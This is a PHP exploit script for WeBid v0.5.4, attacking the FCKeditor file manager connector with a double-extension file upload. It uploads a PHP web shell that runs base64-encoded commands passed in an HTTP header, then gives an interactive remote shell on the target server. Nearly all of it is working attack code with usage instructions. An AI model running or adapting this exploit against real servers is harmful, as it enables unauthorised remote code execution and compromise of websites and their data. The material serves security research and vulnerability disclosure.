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<?php
/*
-----------------------------------------------------------------
WeBid v0.5.4 (fckeditor) Remote Arbitrary File Upload Exploit
-----------------------------------------------------------------
author...: Stack
[-] vulnerable code in /fck/editor/filemanager/browser/mcpuk/connectors/php/config.php
121. //File Area
122. $fckphp_config['ResourceAreas']['File'] =array(
123.
124. //Files(identified by extension) that may be uploaded to this area
125. 'AllowedExtensions' => array("zip","doc","xls","pdf","rtf","csv","jpg","gif","jpeg","png","avi","mpg","mpeg","swf","fla"),
with a default configuration of this script, an attacker might be able to upload arbitrary
files containing malicious PHP code due to multiple file extensions isn't properly checked
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}
function upload()
{
global $host, $path;
$connector = "fck/editor/filemanager/browser/mcpuk/connectors/php/connector.php";
$file_ext = array("zip", "swf", "fla", "doc", "xls", "rtf", "csv");
foreach ($file_ext as $ext)
{
print "\n[-] Trying to upload with .{$ext} extension...";
$data = "--12345\r\n";
$data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"sh.php.{$ext}\"\r\n";
$data .= "Content-Type: application/octet-stream\r\n\r\n";
$data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n";
$data .= "--12345--\r\n";
$packet = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=12345\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $data;
preg_match("/OnUploadCompleted\((.*),'(.*)'\)/i", http_send($host, $packet), $html);
if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n");
$packet = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);
if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;
sleep(1);
}
return false;
}
print "\n+--------------------------------------------------------------------+";
print "\n|WeBid v0.5.4 (fckeditor) Remote Arbitrary File Upload Exploit by Stack|";
print "\n+--------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /WeBid/\n";
die();
}
$host = $argv[1];
$path = $argv[2];
if (!($ext = upload())) die("\n\n[-] Exploit failed...\n");
else print "\n[-] Shell uploaded...starting it!\n";
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
print "\nStack-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";
$packet.= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);
if (!eregi("_code_", $html)) die("\n[-] Exploit failed...\n");
$shell = explode("_code_", $html);
print "\n{$shell[1]}";
}
else break;
}
?>
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